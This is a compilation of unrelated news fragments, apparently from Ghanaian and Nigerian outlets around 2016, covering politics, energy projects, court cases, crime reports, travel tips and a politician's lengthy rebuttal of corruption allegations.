As an Internet headline would put it, what he finds might surprise you: that the revered General De Gaulle, for instance, was often on bad terms both with his sponsors in London and with the partisans back home. Or that the head of the R.A.F. refused point-blank at one point to air-drop French guerillas back into France. Wieviorka is particularly good on the collaborator Marshal Petain, postulating that at least some of the French support for him and his Vichy regime came from the popular beliefhowever counterintuitivethat he was playing a long game against the Germans, only biding his time before switching sides to the Resistance. He also shows that the elite of the Resistance did not, as is often assumed, become the elite of postwar France, and the army of shadows was actually a crazy-quilt of often discordant, only gradually unified factions. The one thing Wieviorka is short on is of exciting stories of individual missions and acts of courage, but his rigorous analysis, widely acclaimed in his own country, should do a lot in America to clear away myths both of Resistance superheroes and of cheese-eating surrender monkeys.
In an interview GBC's Volta Star radio in Ho, president Mahama said one of the major hindrances getting young people jobs is the issue of land. He said land is difficult to come by.

He noted that cocobod is revamping cocoa production in the region, adding that several seedling production facilities have been established in the region to boost cocoa production.

"The only hindrance of the young people taking advantage of this program is the issue of land. And so if the chiefs should release land so that young people grow cocoa, you will be surprised how much income they can earn," he said.

He added that government has done its part by providing free seedlings, agriculture extension officers and free fertilizers, and that it was now the turn of the chiefs to release lands for young people who are interested in going into farming.

"On government side, we are giving all the inputs for free. The seedlings are for free, the agric extension officers will come and help u to peg your farm and plant the seedlings and do not charge u any thing," he said.
The 25 million dollar project, Mahama said, is fully funded by the Ghana Airports Company and will be ready by the first half of next year.

He made these comments in an interview with Ho based Volta Star radio as part of his three day accounting to the people tour of the region

When completed, the aerodrome will comprise of a 1,900 metre run way, an air traffic control tower, 1,150 capacity passenger Lounge among others.
Speaking at the inauguration of the first unit of the Sunon Asogli Power Project Phase two at Kpone near Tema, president Mahama noted that his administration has supervised several initiatives geared towards improving energy generation in the country and for export.

"The West Africa regional electricity market is expected to commence end of this year and this means that Ghana can place any extra generation we do not immediately need on the market for export to other West Africa countries suffering a deficit in electricity supply, "president Mahama said.
As she grew older, her reasons for travel changed.

I didn't want to only see spectacular architecture like the Sydney Opera House, or visit historical sites like the Pyramids of Giza in Egypt or the joys of nature, but I was keen on understanding how nations are built, how nations develop.

I wanted to know how a small nation like Singapore, being a third world can be transformed into a first world.

I wanted to understand how a country like Japan could rise up out of the ashes of the second World War, she told an audience at the TEDxAccra talk on Wednesday night.

So far, she has seen 100 cities across 62 countries, and seeing all those countries got her thinking about what she has seen through Africa.

Recently we have been hearing the term 'Africa is rising' - a part of me wants to believe in this...however after visiting 20 countries in Africa the questions I keep asking are, if Africa is truly rising why would acquiring a simple document like a passport be such an uproar?

Impassioned, Ibrahim Mahama asked her audience if Africa is truly rising, why is corruption on the rise? citing Transparency International's 2016 corruption perception index, she noted 40 countries through Africa listed corruption as a major challenge.

Why are many of our cities and countries characterized by chaos, dysfunction and disorder?

If Africa is really rising why are 660 million Africans without electricity?

She also queried why cities through the continent are littered with rubbish.

While not just set on asking her questions, Ibrahim Mahama was also ready to offer remedies, but noted they take everyone being in on it together.

She urged for people to move away from tribalism and political divisions to employee someone based on their knowledge, competence and skill not because of their party colours or the tribe they belong to.

She called for long-term thinking to solve problems, and said education needed to be a high priority, including in the home.

Stopping corruption could be done by not paying bribes, or taking them, no matter how small, she said.

'Something for water today boss', 'what do you have for me', 'the weather is hot', or 'boss today is Friday'.These things should be a thing of the past.

Her steps also include people being responsible for their actions: let's not blame superstition or negative forces for every mishap, and to put a stop to littering: it makes us sick and it drives tourists away, she said.

And to applause and shouts of agreement, Ibrahim Mahama wants people to respect time.

Let's be punctual to work and value time. Weddings, funerals and social engagements should not be three day events. When we have a programme lets start and finish on time.
Joined in the suit are the Chief of Defense Staff and the Attorney General.

Claims

1. The ex-military officers are seeking declaration that the said removal from the Ghana Armed Forces without recourse to the Armed Forces regulation and due process is unlawful.

2. They also want an order that each of the affected ex-soldiers be compensated with an amount of GHC20,000.00 as damages for the unlawful release.

3. Legal fees and cost

This is not the first time some ex-military men have sued Ghana Armed Forces and the Chief of Defence Staff.

In January this year, two hundred and twenty-five retired military officers sued the Chief of the Defence Staff (CDS) over what they describe as under-payment of their gratuities, contrary to what the government approved.
We will continue to engage the NMC, we are not fighting with them, and indeed we are represented on the NMC so this is a friendly war, Mr. Agyemang said on Accra-based Starr FM.

The Ghana Independent Broadcasters Association filed a suit challenging the constitutionality of the law claiming it infringes on press freedom.

However the Supreme Court on Thursday granted an injunction application by the Ghana Independent Broadcasting Association seeking to stay the implementation of the new law requiring media owners to seek content approval from the National Media Commission before publication.

The injunction by the Supreme Court will remain till the final determination of a substantive suit by GIBA which is seeking it to strike out the new law by the NMC.
The curfew hours were imposed in February 2016, after some youth in the Muslim Community and the traditional authorities clashed over a piece of cemetery land in the area, killing one person and injuring many.

In an interview with Accra-based Joy FM, Mr. Ackon said: Every intelligence report points to the fact that absolute calm has returned to the place.

We wouldnt need the visible presence of the security but intelligence report will still be gathered, he said.

The curfew hours on the town were initially from 6:00pm to 6:00am but it was later reviewed to 8:00pm to 4:00am. The Interior Minister reviewed it before the end of March from 11p.m. to 4a.m.
Their message was simple: Keep it in the ground. No Coal to Ghana.

The Volta River Authority (VRA), Ghanas largest generator of electricity, in collaboration with Shenzhen Energy Group of China plan to start construction of a coal power plant in the Central Region in August 2016.

According to the VRA, the 2x350 megawatt supercritical coal plant will be dealing with clean coal and as such mitigates environmental effects the campaigners talk about.

However, Gideon Commey from GYEM disagrees: clean coal is a myth being spread by the coal industry to keep their businesses afloat.

According to the group, some of the concerns they have raised with the construction of the power plant include about 5 million tonnes of ash waste (per annum) that would be generated from the plant, the air pollution from poisonous and hazardous gases that are injurious to health, threats to turtle breeding grounds close to the site and the destruction of the natural environment.

While coal remains cheaper than renewable energy [mostly because of subsidies for coal], the group believes that the 1.5 billion dollar investment should rather be invested into clean energy sources especially solar; since Ghana has sunlight throughout the year.

Anyone who tells you coal is cheap is deceiving you. It may appear cheap at this time but the amount of money that will be used to clean up its destruction and to cover medical bills of residents around the plant will eventually prove that it is not.

According to the UNs International Energy Agency, investments into clean energy is expected to hit 7.4 trillion dollars by 2040 while another study from researchers at Oxford University show the cost of solar will fall by 10 percent each year.

Commey believes that the way forward is to highlight the adverse environmental effects of coal power in the media so that it would in turn become a national conversation. Because the ordinary citizen still does not know about this plant and we need them to understand the risks involved so that they can force positive action from politicians.
My NDC brothers, the NPP guys you know are not your enemies; they are your opponents. My NPP brothers; the NDC guys you know are not your enemies; they are your opponents. Stop listening to false leaders who befriend those of other parties Nicodemusly even while they encourage public enmity, Arthur Kennedy opined in an article.

Below is the full article of Arthur Kennedy:

My brethren, today, I write in sadness.

Yesterday, here on my page, I celebrated Gabby Asare Otchere-Darko for his birthday. In response, some people attacked him for his perceived shortcomings.

As I told them, good manners require that we desist from criticizing a man on his birthday. Another occasion when criticism is considered bad manners is when a person dies. It is also bad manners to wish someone death or illness.

A few days ago, on NEAT FM, the NPP'S deputy General Secretary Obiri Boahen stated in reference to the Good Samaritan that if he met former EC Chair Dr. Afari Gyan, by the road side, he would not render any assistance! I do not know how many congratulatory messages he got but I cringed when I read that.

Does he not have an elder in his family, church or party who can tell him that he erred before God and man and should apologize? Was there nobody who could school this ignoramus on what Afari Gyan has done for Ghana, Africa and mankind?

I do not know who brought him up but even at my age, if my mother were alive and I said something like that, my mother, Madam Abena Atta, AKA Maame Mfante, would show up with soap to wash my mouth. Some months ago, no less than an NPP member called me an "enemy combatant" who should be "dealt with".

Folks, we have gotten to where we cannot even wait for people to die before pronouncing them dead. Perhaps, we forget that we shall all die. Furthermore, wishing someone dead can turn on you. JFK approved the assassination of Fidel Castro and died soon after. Many sang "Osu cemetry, Paa Willie a na oko" and died before Paa Willie. Let be humble and seek the face of God.

Throughout history, across cultures and continents,even bitter enemies mourn their opponents in death.

In 1881, when Benjamin Disreali died, William Gladstone, his implacable political foe, eulogized him in Parliament.

In 1978, when Jomo Kenyatta died, his political nemesis, Oginga Odinga, not only showed up for the funeral-- he sang a funeral dirge!

When J.B. Danquah died, Nkrumah should have eulogized the man who brought him to Ghana on his way to greatness. He should never have left it to Azikiwe to eulogise him from afar.

To return to our current politics, there is too much hatred and lack of civility. We need some love.

My NDC brothers, the NPP guys you know are not your enimies; they are your opponents. My NPP brothers; the NDC guys you know are not your enemies; they are your opponents. Stop listening to false leaders who befriend those of other parties Nicodemusly even while they encourage public enmity.

Tomorrow, if you are NPP, when you pray for your party leaders, include John Mahama. If you are NDC, when you pray for your party leaders, include Nana Addo.

Finally, my brethren, I leave you with Gladstone. He said, "We look forward to the day when the power of love will replace the love of power. Then will our world know the blessings of peace".

Let's say "Amen".
These days, a budget holiday doesnt have to mean that you cant travel to far-flung places and Shanghai in China is a perfect example of that. The famous Chinese coastal city does have its fair share of five star hotels but it also has accommodation that will suit the more budget conscious too. Shanghai is an incredible place to visit and the food is incredible, and cheap, too.

2. Portugal

For a fun packed European family holiday destination, Portugal comes up trumps every time. The Algarve region of Portugal is a great seaside, budget friendly resort, or head further inland for even better deals. Lisbon too, is a great for a city getaway and, its far less crowded than many other European city destinations.

3. Orlando, Florida

If you have a family, then you cant go far wrong with a holiday in Orlando, Florida. There are plenty of great bargain packages on offer for 2015 and with Disney World, Cape Canaveral and Universal Studios, all nearby, you will never run out of things to do.

See more: Kintampo Falls Why you should spend a weekend at Kintampo Falls

4. Mauritius

Mauritius is now more accessible to the budget conscious traveller than ever before and it has so much to offer. There are white sandy beaches, crystal clear waters and inland, you have tropical forests and mountains to explore. Mauritius is a fantastic destination for a holiday that has something to offer everyone.

5. Tunisia

After the political upheavals of a few years ago, some people have been put off visiting Tunisia, but now the tide has turned and the countrys tourist industry is making a big comeback. Its the perfect destination to experience a taste of North Africa and see the medinas, souks and the fascinating mosques. There are bargains galore available for travel to Tunisia this year, so now is the time to take advantage of the lower prices.

See more: Emirates Airline increases free baggage allowance come Thursday

6. The Greek Islands

There are literally hundreds of small Greek islands waiting for you to explore and many great package deals can be found. You can avoid all the hustle and bustle by not choosing the popular destinations of Crete, Corfu, Kos and Rhodes, and look at some of the smaller islands instead like Santorini or Paros for great deals.

7. Turkey

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Turkey is one of the cheapest holiday destinations in Europe at the moment and their tourism industry is booming. A great way to see Turkey is to combine a few days in the vibrant city of Istanbul, followed by some relaxing time on an unspoilt beach in the Turkish Riviera.

8. Costa Rica

One of Latin Americas up and coming tourist destinations, and a country that you may have not had on your list, is Costa Rica. Situated on a strip of land between North and South America, Costa Rica is a prosperous and safe country that has some fantastic beaches, as well as some wonderful national parks to go trekking through.

9. Croatia

The Dalmatian Coast of Croatia is fast becoming a hot destination in Europe. It has some fantastic beaches, quaint old cities and towns and hundreds of small islands to visit too. For a value for money city break, try Dubrovnik, where you will find some of the oldest buildings in the world, which line the narrow winding streets of this great walled city.

10. Cyprus
A Reuters reporter spoke to workers at the plant who also said production had continued.

A Shell spokesman declined to comment.

The facility, in the oil-rich southern Niger Delta region, supplies the Bonny liquefied natural gas (LNG) export terminal and also helps generate electricity, which is scarce in Africa's top oil producer and most populous nation.

But on Wednesday, Bayelsa state spokesman Francis Agbo said Shell had "flouted the court order" and production had not ceased. "There is ongoing work in the facility in clear violation of the court order," he said.

Boro Ige-Edaba, executive secretary of the state's Physical Planning and Development Board, said Bayelsa's state government would "take appropriate action to prosecute them".

Shell launched the facility in 2010 with an initial planned output of 1 billion standard cubic feet of gas per day and up to 70,000 barrels per day (bpd) of oil from 2011.

It aimed to boost output to 1.3 trillion standard cubic feet by adding more wells, Shell's website said.
Welcome to the Pulse Community! We will now be sending you a daily newsletter on news, entertainment and more. Also join us across all of our other channels - we love to be connected!
The billionaire cum politician weighed in on the news that Tubman would become the new face of the $20 bill by 2020 on Thursday's 'Today' show; ahead of the 100th anniversary of women's suffrage.

ALSO READ: Nick Cannon blasts Google for portraying Harriet Tuban as a poor woman on homepage

"I would love to leave Andrew Jackson and see if we can maybe come up with another denomination," Trump began, noting that Tubman is "fantastic."

"Maybe we do the $2 bill or we do another bill. I don't like seeing it. I think it's pure political correctness It's very rough when you take somebody off the bill," Trump spoke highly of the former president, Jackson.

Former presidential candidate Ben Carson also agrees with Trump when he told Fox Business on April 21 that Jackson should remain on the bill.

"I love Harriet Tubman. I love what she did, but we can find another way to honor her. Maybe a $2 bill," Carson said.
"A BIG HAPPY BIRTHDAY TO MY ONE TRUE LOVE!!! I just want to thank God for His goodness and mercy for your life and what He has accomplished in and through you I only ask for one thing from you Lord; that you keep her in peace and let her heart be steadfast towards You

I ask this because I know that the manifestation of the blessings that you have packaged for her

would be impossible to contain in her human vessel, so she will need to stay connected under your ever loving banner. Continue...

I'm not putting these heartfelt words together just to sound poetic, but as your husband I speak with the conviction of one entrusted to speak life to you in the prophetic. Long life and prosperity we often bless many on this joyous occasion. And why not? This prayer covers everything and all we need to mention

May you live long to enjoy the prosperity that God has given you In Jesus name!

Happy Birthday babe!

Love you loads  PS: I know you're leading all the #WivesOnStrike, but at least I can get a welfare offering. No one needs to know, cos when you give an offering, the left hand does not need to know what the right hand is giving#omonioboli #happybirthday."

In 2014, Oboli shot a movie with the working title "Wives on Strike," starring Uche Jombo, Julius Agwu among others.
"ATTENTION: This is 24yrs old Terry Andy Edwards, my impersonator and the brains behind those scam messages you have been receiving, claiming I am doing a modeling search in collaboration with Gold Modeling Agency, Etisalat, Modela etc. It came to my attention last year after I got several complains from various pple. Finally, with the help of a lady he scammed, the police from the crime unit in GRA Minna division were able to help us track him down in PH. I apologize to everyone who was affected by this criminal, the best I could do was at least help bring him to justice for everyone! Thank you to the GRA Minna Officers. UBA Bank for assisting the police. The young lady (name withheld for security). My Lawyers. And everyone else who assisted one way or the other. God bless you all! #ThePoliceisyourfriend #JusticeForAll #Scammers #Fraud #Impersonation cc @etisalatnigeria @goldmodelagency @modelacoutureng."
The event had various panels with industry experts, entrepreneurs, business heads, amongst others imparting knowledge to the audience.

Participants in the summit were taught prospecting and how to close deals while panelists explained what it took to become an influential entrepreneur in their respective industries.

Another panel moderated on topic like how to finance a business, making profit at volatile times, understanding financial returns, and thriving in a new economic environment.

Some panelists at the event include Paul Alaje, Bibusa Wissemann, COO/Founder of Zambia-based Kasuba Renewable Energy Solutions, Olayinka Braimoh, CEO of Hall7 Real Estate, Magnus L. Kpakol, CEO at Economic Business Strategies (EBS), Kola Aina, CEO of Emerging Platforms Group, and Rich Tanksley, Head of Pulse Nigeria.
The Lagos Home Show (LHS) was founded on the simple principle of encouraging local industry. In our past editions we have always promoted up and coming crafters as well as already established brands. This year to create more of an experience we have teamed up with Foodie in Lagos, a leading food blog in Lagos to bring home ware and food lovers together.

Foodie in Lagos was founded simply for the love of food, the search for decent restaurants, food vendors and all things edible in the city of Lagos providing unbiased reviews and as an enabler for effortless discovery of the best in Lagos.

So if you sell furnishing, lighting, electronics, art, home-ware, textiles or provide home services... then you need to be at the Lagos Home Show!

If you are a chef, or you sell something sweet, salty, fried, spicy, tasty or even a healthy alternative, then you need to represent as a Food/Drinks vendor at the Lagos Home Show x Foodie in Lagos Fair.

The goal of the fair is to create an experience for Lagos best food and drink brands as well as promotion of crafters both established and up and coming. At this one day event, guests will enjoy shopping and eating and drinking from an extensive selection in Lagos.

We would also like to see more people craft / use locally sourced material for production. If this is you then you need to reserve a stand at The Lagos Home Show. We work hard to ensure all our vendors connect with the right people and more importantly sell. We have forged such great relationships over the years, and we would definitely love to have you on board.

Date: Sunday, May 8th 2016Time: 12 Noon  7 PMVenue: Mega Plaza Rooftop, 14b Idowu Martins Street, Victoria Island, Lagos
Welcome to the Pulse Community! We will now be sending you a daily newsletter on news, entertainment and more. Also join us across all of our other channels - we love to be connected! Welcome to the Pulse Community! We will now be sending you a daily newsletter on news, entertainment and more. Also join us across all of our other channels - we love to be connected!
A robbery suspect, Akeem Popoola, had accused Omotosho of giving him orders to sell phones to unsuspecting members of the public.

Fatai Owoseni, the Lagos State Commissioner of Police confirmed the dismissal, stating that the suspect has been transferred to the Ogun State Police Command for investigation.

Popoola narrated how he came to be working for the dismissal police officer. He mentioned that his father had reported him to Omotosho, requesting that he disciplines him.

Omotosho did not honour the request as expected by the father, instead he took Popoola to a beer parlour and gave him N5,000.

Popoola said, In November 2015, one of my fathers tenants and I fought."

"When my daddy came back home on that day, she reported me to him and he handed me over to Inspector Festus (Omotosho) at the state police command headquarters, Ikeja."

"He told him I was too troublesome and wanted him to discipline me. But he (Ijaya) did not. He took me to a beer parlor at Alakuko and gave me N5,000."

Two days after, we met at another beer parlour around Agbado, where I was made to swear an oath. He gave me a mobile phone and drove me in his Toyota Camry to POWA Complex in Ikeja."

Concerning how he and Omotosho terrorise innocent members of the public, Popola said, He told me to sell the phone inside the complex which I did for N20,000."

"After an hour, he handcuffed me and took me in his car with his boys  Abbey and Aluko  to the man that bought the phone."

"He arrested the man and told him to pay N200,000 if he did not want to be taken to the station. The man raised N150,000 among his friends in that complex and gave him."

When we left there, he removed the handcuffs and gave me N5,000 and we departed.
The Osun State Ministry of Justice, through a statement released by its Information Officer, Mr. Opeyemi Bello, confirmed the sentencing on Thursday, April 21, 2016.

Chief Adeniyi, who holds the title of Loja, Araromi Otokobo, was arraigned in court on March 28, 2011, and charged with rape and indecent assault.

This has led to his sentencing of 7 years in prison after being found guilty of the accusation.

The statement reads, After defiling them, he wiped their private parts with a piece of white cloth and threatened them that anyone who disclosed his action would die.

But one of the parents of the victims was said to have been told that her daughter was given a free ride by a man and she went to inquire from the school who the man was.

The girls were said to have initially refused to disclose what Adeniyi did to them for fear of death. They were given an assurance that nothing would happen to them before they narrated their ordeal.
Amnesty's report relates to events in the northern city of Zaria where the army has said the Islamic Movement in Nigeria tried to assassinate its chief of staff, Lieutenant General Tukur Buratai, when members of the sect blocked his convoy.

The following day the army said it had raided several buildings connected to the sect.

One witness, Yusuf, said soldiers set fire to a makeshift medical facility in the sect's compound.

"Those who were badly injured and could not escape were burned alive," he said, adding that he believed tens of people died in this way.

Amnesty said it carried out research in February 2016 during which 92 people were interviewed, including alleged victims and their relatives, eyewitnesses, lawyers and medical staff.

"It is clear that the military not only used unlawful and excessive force against men, women and children, unlawfully killing hundreds, but then made considerable efforts to try to cover-up these crimes," said Netsanet Belay, an Amnesty director.

"Our research, based on witness testimonies and analysis of satellite images, has located one possible mass grave," he said.

Last week Amnesty called for an investigation after a Kaduna state official told an inquiry into the clashes that the military secretly buried 347 people in mass graves.

The inquiry has the power to impose fines and payment of compensation. In January, the army chief of staff told the inquiry that his soldiers had acted appropriately in the raid.

Nigerian army spokesman Sani Usman said the Amnesty report lacked credibility. "It is a hasty, one-sided and biased report aimed at arriving at a predetermined objective", he said.

"They must allow the inquiry and all other relevant agencies to complete and submit their reports before jumping to conclusions," he added.

Most of the tens of millions of Muslims in Nigeria are Sunni, including Boko Haram militants who have killed thousands in bombings and shootings, mainly in the northeast, since 2009.
This is coming on the heels of the comment reportedly made by Buhari warning pipeline vandals to desist from their act, or they will be dealt with like the Boko Haram sect.

The IYC President, Comrade Udengs Eradiri described the comment as retrogressive.

Sahara Reporters reports that Eradiri said We condemn the statement by President Buhari. President Buhari went to China for discussions on possible investments and began to say that he will deal with pipeline vandals like Boko Haram. It is wrong.

It shows that President Buhari does not have the true picture of the Niger Delta. For him to make such statement, it shows he is not current with investment trends of the world.

The statement shows that he will be sending bombs and troops to the Niger Delta like he does against the Boko Haram sect. The investors will become scared because they know that the deployment of bombs and troops will destroy their possible investment in the region.

Meanwhile, a group known as the Niger Delta Avengers, has dared Buhari, and also threatened to blow up more oil pipelines and installations in the region,over the alleged neglect of local communities in the Niger-Delta by the government.

See Pulse Photo-News gallery below.
Read it below:

For the last few weeks I have been the subject of absurd and outlandish headline stories in various newspapers who have accused me of being a fraudster and who have claimed that funds were transferred into my bank account by the former National Security Advisor, Col. Sambo Dasuki and by the Governor of the Central Bank Bank of Nigeria.

They have also claimed that I used public funds for the Presidential campaign of President Goodluck Jonathan. The attempt to tarnish my name, paint me as a common criminal and convict me of wrongdoing in the court of public opinion without even hearing my side of the story is petty, shameful and nauseating.

It is also a reflection of the desperation of those that seek to pull me down and destroy me simply because my opposition to this government has been unrelenting. In January 2015 I was appointed as the Director of Media and Publicity for the Jonathan/Sambo Presidential Campaign Organisation by President Goodluck Jonathan.

The Director-General of the Campaign Organisation was Senator Ahmadu Alli and the Deputy Director-Generals were Alhaji Ibrahim Turaki SAN (north) and Governor Peter Obi (south). Chief Tony Anenih, an elderstatesman and one of the most distinguished and reverred leaders in our country, was the Presidential Advisor to the Campaign Organisation.

There were at least 10 other Directors and Directorates apart from me and mine including the Directorate of Mobilisation which was led by the respected Professor Jerry Gana and the Directorate of Administration which was led by Alhaji Aliyu Modibbo.

There were also zonal and state Directors of the Presidential Campaign Organisation in all the zones and states of the country. All these names that I have mentioned including all the other Directors whose names I have not mentioned are, as far as I am aware, men and women of immense integrity and good character and they have mostly been either Ministers of the Federal Republic or state Governors at one time or the other in our history. It was an honor to serve alongside such people and I have absolutely no regrets about doing so.

Yet given the fact that I was not the only Director in the Campaign Organisation and in view of the fact that all the Directors and zonal and state Directors got their funds from the same source and account as I did, one wonders why only I and three others should be singled out for this reprehensible treatment and these false allegations.

I chose to remain silent on the issue up until now simply because the allegations have not been officially made by the Economic and Financial Crimes Commission (EFCC) or anyone else but the newspapers keep citing their sources "inside the EFCC" as their basis for these shameful allegations.

Mr. Josef Goebbels, Chancellor Adolf Hitler's Information Minister when Germany was in the terrible grip of the Nazi party, said that once a lie is repeated enough times it becomes truth to those who are continuously subjected to it. This is especially so if it goes unchallenged. I cannot sit by silently as my name is dragged through the mud in this way and I am convicted in the court of public opinion. This has happened to me once before and it took me seven years to clear my name.

It will not happen to me again. Consequently I am constrained to take this opportunity to state the facts of this matter, set the record straight and await my traducers and accusers to make their next move. It is indeed time to challenge those that are making these allegations and to kill the lie.

The fact that my bank account was frozen on the orders of the EFCC two weeks ago without any explanation is proof of the fact that I am being targetted and that those that seek to have their wicked way with me are about to pounce. Given this it is important that all the relevant facts are put before the world before I am subjected to the Dasuki treatment, put away indefinately and not given the opportunity to defend myself before the public.

Meanwhile, in their usual manner, after this is done the EFCC will then flood the media with all manner of lies about my so-called atrocities which only exist in the figment of their imagination. The allegation of fraud and the receipt of public funds from the National.Security Advisors Office and Central Bank into my bank account is false.

These allegations are baseless, wicked, shameful and irresponsible. It is not true that ANY money was paid into my account by or from the National Security Advisor's Office, the Central Bank of Nigeria or any other government agency or institution last year or at any other time. As the Director of Media and Publicity of the Jonathan Presidential Campaign Organisation I was asked to submit a budget for my Directorate by Chief Tony Anenih, the Presidential Advisor to the Presidential Campaign Organisation and Mrs. Nenadi Usman, the Director of Finance.

My team and I prepared the budget and it was approved. Rather than collect cash, for security reasons and the purposes of accountability I was advised by the Director of Finance to open a bank account for this purpose, which I did. The funds were paid into that account in installments at the beginning of last year by the Director of Finance and each deposit was authorized and approved by the Presidential Advisor to the PCO, Chief Tony Anenih.

The account that they used to transfer the money to me was a private company account which was owned or under the control of the Director of Finance. It was the same company and account that was used to send money to all the other Directors of the PCO and the Zonal Directors, State Directors and all our PDP governorship and legislative candidates during the various campaigns.

I made a point of asking what the source of the funds in this account were and I was told by the Director of Finance that the funds were sourced from private individuals and private companies who opted to support and fund President Jonathan's campaign. She told me that no money was paid into her company from any government official, account or agency.

This she told me in the presence of witnesses and I believed her. I was told that there was a fundraising event held by our party (PDP) which took place in early January 2015 in which billions of naira was raised specifically for the Presidential campaign. I believed this to be true and I had no reason to doubt it. Our funds were given to us by the President who was the leader of our party through the Director of Finance of the PCO and we were not in a position to inquire into the sources of funding of the party's campaign. Indeed, it was not our responsibility to do so.

Once I got these clarifications and confirmation I agreed to receive the funds into my bank account and use them for their stated purpose. The transfers were made and I used the funds to carry out all our operations during the course of the presidential campaign. It was an aggressive and well-run campaign and we gave our opponents a very hard time indeed.

It was also very expensive and we barely had the resources that we really needed but we did an effective job with the little we were given. The whole nation, including our friends and our enemies, can bear witness to that and they saw the excellent quality of our work.

Hardly anyone can dispute this yet some fail to appreciate the fact that such a strong showing costs a lot of money. Media and publicity campaigns cannot be run on goodwill alone: you need cash and plenty of it.

During the course of the election and after its conclusion I submitted detailed accounts of our expenses and evidence of our work to the Director of Finance of the PCO for onward transmission to the Director-General of the PCO and ultimately President Jonathan himself about how the money was spent and they were satisfied. Given the fact that these were not public funds the only legal body that can inquire into our expenditure of campaign funds is President Goodluck Jonathan who set up the PCO.

I was commended for my efforts by him and I can proudly say that my Directorate did not owe any individual, service provider, organisation or media outfit that provided any services to us one kobo at the close of the campaign. All our debts were paid and obligations met during and just after the election. The suggestion that there was any fraud in any of this or that I colluded and conspired with others to use government money to run a campaign is false and very insulting.

The suggestion that the money was some kind of "cash bonanza" or "bazaar" as has been reported by the leading pro-government newspaper in the country today is childish and absurd. If that had been the case I doubt that I would have been foolish enough to open a bank account to receive government funds or "bazaar funds" as this would have been easily traced.

If I had anything to hide or if I was doing anything wrong I would have insisted on collecting cash for my operations which would have been far easier to conceal. The fact that the EFCC gained access to my bank account and leaked details of it to the media including my inflows is not only a gross violation of my privacy but it is also unlawful.

I was a Minister of the Federal Republic of Nigeria ten years ago and I was a key official in the Presidency thirteen years ago. I had the honor and privilage of serving my country in these two capacities when the father of our nation, President Olusegun Obasanjo, was our President.

Consequently I am familiar with the workings and importance of accountability, due diligence and due process. This is why I was very careful with how we managed our resources at the Directorate and why I appointed a seasoned civil servant who retired from the civil service with commendation at the Director level as my Director of Finance in my Directorate.

I was also mindful of the fact that I had to be very careful with the management of funds that were put under my care given the fact that I had been wrongly accused and viciously persecuted by the Yar'adua administration and the Farida Waziri-led EFCC with trumped up and baseless criminal charges for the previous seven years.

That whole ordeal almost ruined my life and my career but God was with me throughout and He delivered me from their evil because I had done nothing wrong. On 1st July 2015 I was acquitted by a duly constituted court of law of all those charges and I give God the glory for that. Yet the struggle continues.

I am appalled at the behavior of the EFCC in this latest matter but I am not surprised because they have had it in for me for many years. Their almost obsessive interest in me and their motivation to destroy me is essentially political and partly personal and this has always been so. In short, just as was the case seven years ago, they are being used by the powers that be and by forces that are far above them. To that extent I sympathise with them.

Yet if this is an attempt to intimidate, silence or distract me they shall fail because I am not a coward and I do not fear them or those that sent them to torment me. And neither will I sit by idly and watch them trying to destroy me again. Their allegations are malicious and self-serving and there is no substance or truth in them. We did not run the Presidential Campaign Organization or my Directorate with paper or hot air: we ran them with money. There is no crime in that.

A substantial portion of that money was paid by my Directorate directly to the media for rallies, television, radio and newspaper adverts and jingles together with many other services rendered and we have all the records and documents to prove it.

As stated earlier those records have been duly submitted to the relevant quarters and they commended us for our work. I did not run the Directorate alone and I had at least 10 Deputy Directors, Assistant Directors and Sub-Directors, who were all also appointed by President Jonathan, working under me. I was responsible for the funding of each and every one of their various operations. Our entire team was dedicated and we all worked very hard because we believed passionately in our candidate and our party.

I have yet to hear of any Presidential Campaign Organization anywhere in the world that was run without any money and that was funded with just goodwill. I might add that we spent far less money than the APC and the Buhari Presidential Campaign Organization because they had access to massive amounts of state government funds and they used those funds effectively.

For every million naira we spent they spent ten. They even contracted the services of a famous American media consultant (the same one that President Obama used in 2008) and paid him ten million U.S. dollars for his counsel and advice. They had fleets of cars and buses whilst my Directorate was not even given one vehicle to get our people around.

The official jeep that was meant to have been given to us for our operations during the campaign was high jacked and it never arrived. We were forced to use our own personal vehicles and we were glad to do so. Yet the other side had everything that money could buy. They even chartered numerous private jets throughout the campaign to get around the country.

Where did they get all their funding from? Why is the EFCC not leaking stories or talking about that? Instead of using the EFCC to try to rubbish me and my colleagues and smear our good names, those that are in power today should tell us where they got their campaign funds from and how much of it came from the Governments of Lagos and Rivers state.

The two people that headed those two state governments then are now both Federal Ministers today. One of them, who was the Director-General of the Buhari Campaign Organisation, was specifically indicted by a Judicial Commission of Inquiry for using millions of dollars of state government funds to run the Buhari campaign yet nothing happened and his reward was to be appointed as a Minister.

Again what about the 5 billion naira cash that was flown down to Port Harcourt in Rivers state from Abuja in chartered plane a couple of days before the re-run election that took place on March 19th 2016. Where did they get that amount of cash from and what was its purpose and source? What has the EFCC said or leaked about that?

It appears that there is one law for those that are in power today and another for those that are not. Why persecute the innocent and leave the guilty? Was it a crime to fight and lose an election?

If Jonathan had not been a gentleman and if he had insisted on remaining in power at all costs or challenging the outcome of the election in court would we have the peace that we are enjoying in our country today? Have those that are behind all this nonsense forgotten all that so soon or is it that they are just drunk with power and they are on a mission of revenge?

If that is the case are they then worthy of the power that God has given them and should He not take it away from them before it is too late and they set the country on fire? If there was any wrongdoing can the EFCC honestly put their hands on their chest and say that those of us that were asked to do a job and given money to do that job knew anything about it?

Were we the ones that sourced the funds and were we expected to launch our own private investigation into where the funds came from before accepting to receive and use them for the job we were asked to do?

In their heart of hearts they know that the answer to the two questions are both in the negative. Instead of going after the right people they wish to use the situation to embarrass and shame those of us that they see as the President's political enemies and critics just to further defame, malign and humiliate us and destroy our future and careers.

This is vindictive, petty and wicked and, as long as the Lord is on the throne, it will not stand. It is a very dangerous precedent and I sincerely hope that all stakeholders take note of the implications of what is brewing and going on.

It would be a very dangerous thing and utterly counter-productive for this government to open a can of worms and try to implicate innocent men and women who were simply doing their job and who knew nothing about any wrong-doing or illicit and illegal transactions or bank transfers of public funds from or to government accounts.

I wish to remind them that they will not be in power forever. Sooner or later the tables will turn and they themselves will be subjected to the malicious lies, false allegations, smear campaigns, injustice, brutality and persecution that they are presently subjecting others to. It is only a question of time.

Now let the Ancient of Days and He who never sleeps or slumbers, the God of Abraham, Isaac and Jacob, judge between this government and all those innocent men and women that they are demonising and persecuting and that they seek to torment and destroy. As long as Jesus is on the throne and our hands are clean, no matter how long it takes, we shall prevail and ultimately they will pay a heavy price for their malice, injustice and wickedness.

